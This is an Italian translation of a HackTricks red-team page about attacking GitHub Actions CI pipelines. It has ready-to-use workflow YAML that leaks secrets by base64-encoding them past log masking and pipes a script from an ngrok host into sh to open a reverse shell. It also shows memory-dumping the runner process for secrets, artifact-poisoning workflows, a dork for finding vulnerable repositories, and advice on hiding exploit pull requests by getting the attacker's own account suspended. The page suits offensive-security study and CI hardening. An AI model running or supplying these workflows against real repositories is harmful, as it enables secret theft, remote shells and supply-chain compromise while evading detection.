Abusing Github Actions

Impara l'hacking AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Informazioni di Base

In questa pagina troverai:

  • Un riassunto di tutti gli impatti di un attaccante che riesce ad accedere a un'azione di Github

  • Diversi modi per accedere a un'azione:

  • Avere permessi per creare l'azione

  • Abusare dei trigger correlati alle pull request

  • Abusare di altre tecniche di accesso esterne

  • Pivotare da un repository già compromesso

  • Infine, una sezione sulle tecniche di post-exploitation per abusare di un'azione dall'interno (causare gli impatti menzionati)

Riassunto degli Impatti

Per una introduzione su Github Actions controlla le informazioni di base.

Nel caso in cui tu possa eseguire azioni Github arbitrarie/iniettare codice in un repository, potresti essere in grado di:

  • Rubare i segreti da quel repo/organizzazione.

  • Se puoi solo iniettare, puoi rubare ciò che è già presente nel workflow.

  • Abusare dei privilegi del repo per accedere ad altre piattaforme come AWS e GCP.

  • Eseguire codice in worker personalizzati (se vengono utilizzati worker personalizzati) e provare a pivotare da lì.

  • Sovrascrivere il codice del repository.

  • Questo dipende dai privilegi del GITHUB_TOKEN (se presenti).

  • Compromettere deployments e altri artefatti.

  • Se il codice sta effettuando il deploy o memorizzando qualcosa, potresti modificarlo e ottenere ulteriore accesso.

GITHUB_TOKEN

Questo "segreto" (proveniente da ${{ secrets.GITHUB_TOKEN }} e ${{ github.token }}) viene fornito quando l'amministratore abilita questa opzione:

Questo token è lo stesso che utilizzerà un Applicazione Github, quindi può accedere agli stessi endpoint: https://docs.github.com/en/rest/overview/endpoints-available-for-github-apps

Github dovrebbe rilasciare un flusso che consente l'accesso tra repository all'interno di GitHub, in modo che un repo possa accedere ad altri repo interni utilizzando il GITHUB_TOKEN.

Puoi vedere i possibili permessi di questo token in: https://docs.github.com/en/actions/security-guides/automatic-token-authentication#permissions-for-the-github_token

Nota che il token scade dopo che il job è completato. Questi token assomigliano a questo: ghs_veaxARUji7EXszBMbhkr4Nz2dYz0sqkeiur7

Alcune cose interessanti che puoi fare con questo token:

# Merge PR
curl -X PUT \
https://api.github.com/repos/<org_name>/<repo_name>/pulls/<pr_number>/merge \
-H "Accept: application/vnd.github.v3+json" \
--header "authorization: Bearer $GITHUB_TOKEN" \
--header 'content-type: application/json' \
-d '{"commit_title":"commit_title"}'

Nota che in diverse occasioni potresti trovare token dell'utente di Github all'interno delle variabili d'ambiente di Github Actions o nei secrets. Questi token potrebbero conferirti maggiori privilegi sul repository e sull'organizzazione.

Elenco dei secrets nell'output di Github Action

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

Ottieni una shell inversa con le secrets

```yaml name: revshell on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: create_pull_request: runs-on: ubuntu-latest steps: - name: Get Rev Shell run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}} secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}} ```

È possibile verificare i permessi concessi a un Token di Github nei repository di altri utenti controllando i log delle azioni:

Esecuzione Consentita

Questo sarebbe il modo più semplice per compromettere le azioni di Github, poiché in questo caso si suppone che si abbia accesso a creare un nuovo repository nell'organizzazione, o si abbiano privilegi di scrittura su un repository.

Se ti trovi in questa situazione, puoi semplicemente controllare le tecniche di post-exploitation.

Esecuzione dalla Creazione del Repository

Nel caso in cui i membri di un'organizzazione possano creare nuovi repository e tu possa eseguire azioni di github, puoi creare un nuovo repository e rubare i segreti impostati a livello di organizzazione.

Esecuzione da un Nuovo Branch

Se puoi creare un nuovo branch in un repository che contiene già una Github Action configurata, puoi modificarla, caricare il contenuto e quindi eseguire quell'azione dal nuovo branch. In questo modo puoi esfiltrare i segreti a livello di repository e organizzazione (ma devi sapere come sono chiamati).

Puoi rendere l'azione modificata eseguibile manualmente, quando viene creato un PR o quando viene inviato del codice (a seconda di quanto vuoi essere rumoroso):

on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- master
push: # Run it when a push is made to a branch
branches:
- current_branch_name

# Use '**' instead of a branh name to trigger the action in all the cranches

Esecuzione Forked

Ci sono diversi trigger che potrebbero consentire a un attaccante di eseguire un'azione di Github di un altro repository. Se queste azioni triggerabili sono configurate in modo non sicuro, un attaccante potrebbe essere in grado di comprometterle.

pull_request

Il trigger del workflow pull_request eseguirà il workflow ogni volta che viene ricevuta una pull request con alcune eccezioni: per impostazione predefinita, se è la prima volta che si sta collaborando, qualche mantenitore dovrà approvare l'esecuzione del workflow:

Poiché la limitazione predefinita è per i contributori di prima volta, potresti contribuire correggendo un bug/errore valido e quindi inviare altri PR per abusare dei tuoi nuovi privilegi di pull_request.

Ho testato questo e non funziona: Un'altra opzione sarebbe creare un account con il nome di qualcuno che ha contribuito al progetto e ha eliminato il suo account.

Inoltre, per impostazione predefinita impedisce le autorizzazioni di scrittura e l'accesso ai segreti al repository di destinazione come menzionato nella documentazione:

Ad eccezione di GITHUB_TOKEN, i segreti non vengono passati al runner quando un workflow viene attivato da un repository forkato. Il GITHUB_TOKEN ha autorizzazioni di sola lettura nelle pull request da repository forkati.

Un attaccante potrebbe modificare la definizione dell'azione di Github per eseguire cose arbitrarie e aggiungere azioni arbitrarie. Tuttavia, non sarà in grado di rubare segreti o sovrascrivere il repository a causa delle limitazioni menzionate.

Sì, se l'attaccante cambia nella PR l'azione di github che verrà attivata, la sua Github Action sarà quella utilizzata e non quella del repository di origine!

Poiché l'attaccante controlla anche il codice in esecuzione, anche se non ci sono segreti o autorizzazioni di scrittura sul GITHUB_TOKEN, un attaccante potrebbe ad esempio caricare artefatti dannosi.

pull_request_target

Il trigger del workflow pull_request_target ha autorizzazioni di scrittura sul repository di destinazione e accesso ai segreti (e non richiede autorizzazione).

Nota che il trigger del workflow pull_request_target viene eseguito nel contesto base e non in quello fornito dalla PR (per non eseguire codice non attendibile). Per ulteriori informazioni su pull_request_target controlla la documentazione. Inoltre, per ulteriori informazioni su questo uso specifico pericoloso, controlla questo post del blog di github.

Potrebbe sembrare che poiché il workflow eseguito è quello definito nel base e non nella PR sia sicuro utilizzare pull_request_target, ma ci sono alcuni casi in cui non lo è.

E questo avrà accesso ai segreti.

workflow_run

Il trigger workflow_run consente di eseguire un workflow diverso quando è completato, richiesto o in_corso.

In questo esempio, un workflow è configurato per essere eseguito dopo che il workflow separato "Esegui test" è completato:

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

Inoltre, secondo i documenti: Il flusso di lavoro avviato dall'evento workflow_run è in grado di accedere a segreti e scrivere token, anche se il flusso di lavoro precedente non lo era.

Questo tipo di flusso di lavoro potrebbe essere attaccato se dipende da un flusso di lavoro che può essere attivato da un utente esterno tramite pull_request o pull_request_target. Un paio di esempi vulnerabili possono essere trovati in questo blog. Il primo consiste nel flusso di lavoro workflow_run che scarica il codice degli attaccanti: ${{ github.event.pull_request.head.sha }} Il secondo consiste nel passare un artefatto dal codice non attendibile al flusso di lavoro workflow_run e utilizzare il contenuto di questo artefatto in modo che diventi vulnerabile all'esecuzione di codice remoto (RCE).

workflow_call

DA FARE

DA FARE: Verificare se quando eseguito da un pull_request il codice usato/scaricato è quello dell'originale o del pull request forkato

Abuso dell'Esecuzione Forked

Abbiamo menzionato tutti i modi in cui un attaccante esterno potrebbe riuscire a far eseguire un flusso di lavoro di GitHub, ora vediamo come queste esecuzioni, se mal configurate, potrebbero essere abusate:

Esecuzione del checkout non attendibile

Nel caso di pull_request, il flusso di lavoro verrà eseguito nel contesto del PR (quindi eseguirà il codice malizioso dei PR), ma qualcuno deve autorizzarlo prima e verrà eseguito con alcune limitazioni.

Nel caso di un flusso di lavoro che utilizza pull_request_target o workflow_run che dipende da un flusso di lavoro che può essere attivato da pull_request_target o pull_request il codice dal repository originale verrà eseguito, quindi l'attaccante non può controllare il codice eseguito.

Tuttavia, se l'azione ha un checkout PR esplicito che ottiene il codice dal PR (e non dalla base), utilizzerà il codice controllato dagli attaccanti. Ad esempio (controlla la riga 12 dove il codice PR viene scaricato):

# NON SICURO. Fornito solo come esempio.
on:
pull_request_target

jobs:
build:
name: Build e test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Grazie!

Il potenzialmente codice non attendibile viene eseguito durante npm install o npm build poiché gli script di compilazione e i pacchetti referenziati sono controllati dall'autore del PR.

Un github dork per cercare azioni vulnerabili è: event.pull_request pull_request_target extension:yml tuttavia, ci sono diversi modi per configurare i lavori in modo che vengano eseguiti in modo sicuro anche se l'azione è configurata in modo non sicuro (come utilizzare condizioni su chi è l'attore che genera il PR).

Iniezioni di Script di Contesto

Nota che ci sono certi contesti di GitHub i cui valori sono controllati dall'utente che crea il PR. Se l'azione di GitHub utilizza quei dati per eseguire qualcosa, potrebbe portare a esecuzione di codice arbitrario:

pageGh Actions - Context Script Injections

Iniezione di Script GITHUB_ENV

Dai documenti: Puoi rendere una variabile d'ambiente disponibile per i passaggi successivi in un lavoro di flusso di lavoro definendo o aggiornando la variabile d'ambiente e scrivendo questo nel file di ambiente GITHUB_ENV.

Se un attaccante potesse inserire un qualsiasi valore all'interno di questa variabile env, potrebbe inserire variabili d'ambiente che potrebbero eseguire codice nei passaggi successivi come LD_PRELOAD o NODE_OPTIONS.

Ad esempio (questo e questo), immagina un flusso di lavoro che si fida di un artefatto caricato per memorizzare il suo contenuto all'interno della variabile d'ambiente GITHUB_ENV. Un attaccante potrebbe caricare qualcosa del genere per comprometterlo:

Azioni di Terze Parti di GitHub Vulnerabili

Come menzionato in questo post del blog, questa Azione di GitHub consente di accedere agli artefatti da diversi flussi di lavoro e persino da repository diversi.

Il problema è che se il parametro path non è impostato, l'artefatto viene estratto nella directory corrente e può sovrascrivere file che potrebbero essere successivamente utilizzati o addirittura eseguiti nel flusso di lavoro. Pertanto, se l'Artifatto è vulnerabile, un attaccante potrebbe sfruttarlo per compromettere altri flussi di lavoro che si fidano dell'Artifatto.

Esempio di flusso di lavoro vulnerabile:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

Questo potrebbe essere attaccato con questo flusso di lavoro:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

Altro Accesso Esterno

Dirottamento del Repository dello Spazio dei Nomi Eliminato

Se un account cambia nome, un altro utente potrebbe registrare un account con lo stesso nome in seguito. Se un repository aveva meno di 100 stelle prima del cambio di nome, Github permetterà al nuovo utente registrato con lo stesso nome di creare un repository con lo stesso nome di quello eliminato.

Quindi, se un'azione sta utilizzando un repository di un account inesistente, è ancora possibile che un attaccante possa creare quell'account e compromettere l'azione.

Se altri repository stavano utilizzando dipendenze da questi repository dell'utente, un attaccante sarà in grado di dirottarli. Qui trovi una spiegazione più dettagliata: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


Pivot del Repository

In questa sezione parleremo delle tecniche che consentirebbero di passare da un repository a un altro supponendo di avere un qualche tipo di accesso al primo (controlla la sezione precedente).

Avvelenamento della Cache

Una cache viene mantenuta tra esecuzioni del flusso di lavoro nello stesso branch. Ciò significa che se un attaccante compromette un pacchetto che viene poi memorizzato nella cache e scaricato ed eseguito da un flusso di lavoro più privilegiato, sarà in grado di compromettere anche quel flusso di lavoro.

pageGH Actions - Cache Poisoning

Avvelenamento degli Artefatti

I flussi di lavoro potrebbero utilizzare artefatti da altri flussi di lavoro e persino da repository, se un attaccante riesce a compromettere l'azione di Github che carica un artefatto che viene successivamente utilizzato da un altro flusso di lavoro, potrebbe compromettere gli altri flussi di lavoro:

pageGh Actions - Artifact Poisoning

Post Sfruttamento da un'Azione

Accesso ad AWS e GCP tramite OIDC

Controlla le seguenti pagine:

pageAWS - Federation AbusepageGCP - Federation Abuse

Accesso a segreti

Se stai iniettando contenuto in uno script, è interessante sapere come puoi accedere ai segreti:

  • Se il segreto o il token è impostato su una variabile d'ambiente, può essere direttamente accessibile tramite l'ambiente utilizzando printenv.

Elenco dei segreti nell'output dell'Azione di Github

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>Ottieni una shell inversa con le segreti</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
  • Se il segreto viene utilizzato direttamente in un'espressione, lo script shell generato viene memorizzato su disco ed è accessibile.

cat /home/runner/work/_temp/*

* Per le azioni JavaScript i segreti vengono inviati tramite variabili d'ambiente
* ```bash
ps axe | grep node
  • Per una azione personalizzata, il rischio può variare a seconda di come un programma utilizza il segreto ottenuto dall'argomento:

uses: fakeaction/publish@v3
with:
key: ${{ secrets.PUBLISH_KEY }}

Abuso dei runner self-hosted

Il modo per scoprire quali Github Actions vengono eseguite su infrastrutture non di Github è cercare runs-on: self-hosted nella configurazione yaml dell'azione Github.

I runner self-hosted potrebbero avere accesso a informazioni extra sensibili, ad altri sistemi di rete (punti terminali vulnerabili nella rete? servizio di metadati?) o, anche se è isolato e distrutto, più di un'azione potrebbe essere eseguita contemporaneamente e quella maliziosa potrebbe rubare i segreti dell'altra.

Nei runner self-hosted è anche possibile ottenere i segnreti dal processo _Runner.Listener che conterrà tutti i segreti dei flussi di lavoro in qualsiasi momento, scaricando la sua memoria:

sudo apt-get install -y gdb
sudo gcore -o k.dump "$(ps ax | grep 'Runner.Listener' | head -n 1 | awk '{ print $1 }')"

Controlla questo post per ulteriori informazioni.

Registro immagini Docker di Github

È possibile creare azioni Github che costruiranno e memorizzeranno un'immagine Docker all'interno di Github. Un esempio può essere trovato nel seguente espandibile:

Azione Github per Costruire e Pubblicare un'Immagine Docker

```yaml [...]

  • name: Set up Docker Buildx uses: docker/setup-buildx-action@v1

  • name: Login to GitHub Container Registry uses: docker/login-action@v1 with: registry: ghcr.io username: ${{ github.repository_owner }} password: ${{ secrets.ACTIONS_TOKEN }}

  • name: Add Github Token to Dockerfile to be able to download code run: | sed -i -e 's/TOKEN=##VALUE##/TOKEN=${{ secrets.ACTIONS_TOKEN }}/g' Dockerfile

  • name: Build and push uses: docker/build-push-action@v2 with: context: . push: true tags: | ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:latest ghcr.io/${{ github.repository_owner }}/${{ github.event.repository.name }}:${{ env.GITHUB_NEWXREF }}-${{ github.sha }}

[...]

</details>

Come hai potuto vedere nel codice precedente, il registro di Github è ospitato in **`ghcr.io`**.

Un utente con permessi di lettura sul repository potrà quindi scaricare l'immagine Docker utilizzando un token di accesso personale:
```bash
echo $gh_token | docker login ghcr.io -u <username> --password-stdin
docker pull ghcr.io/<org-name>/<repo_name>:<tag>

Quindi, l'utente potrebbe cercare segreti trapelati nei livelli dell'immagine Docker:

Informazioni sensibili nei log delle azioni di Github

Anche se Github cerca di rilevare valori segreti nei log delle azioni e evitare di mostrarli, altri dati sensibili che potrebbero essere generati nell'esecuzione dell'azione non saranno nascosti. Ad esempio, un JWT firmato con un valore segreto non sarà nascosto a meno che non sia configurato specificamente.

Coprire le tue tracce

(Tecnica da qui) Prima di tutto, qualsiasi PR sollevata è chiaramente visibile al pubblico su Github e all'account GitHub di destinazione. Su GitHub per impostazione predefinita, non possiamo eliminare una PR da Internet, ma c'è un'alternativa. Per gli account Github che vengono sospesi da Github, tutte le loro PR vengono automaticamente eliminate e rimosse da Internet. Quindi, per nascondere la tua attività, devi o far sospendere il tuo account GitHub o far flaggare il tuo account. Questo nasconderebbe tutte le tue attività su GitHub da Internet (praticamente rimuovere tutte le tue PR di exploit)

Un'organizzazione su GitHub è molto attiva nel segnalare gli account a GitHub. Tutto ciò che devi fare è condividere "qualcosa" in un Problema e si assicureranno che il tuo account venga sospeso in 12 ore :p e così hai reso invisibile il tuo exploit su github.

L'unico modo per un'organizzazione di capire di essere stata presa di mira è controllare i log di GitHub da SIEM poiché dall'interfaccia utente di GitHub la PR sarebbe rimossa.

Strumenti

I seguenti strumenti sono utili per trovare i flussi di lavoro delle azioni di Github e persino trovarne di vulnerabili:

Last updated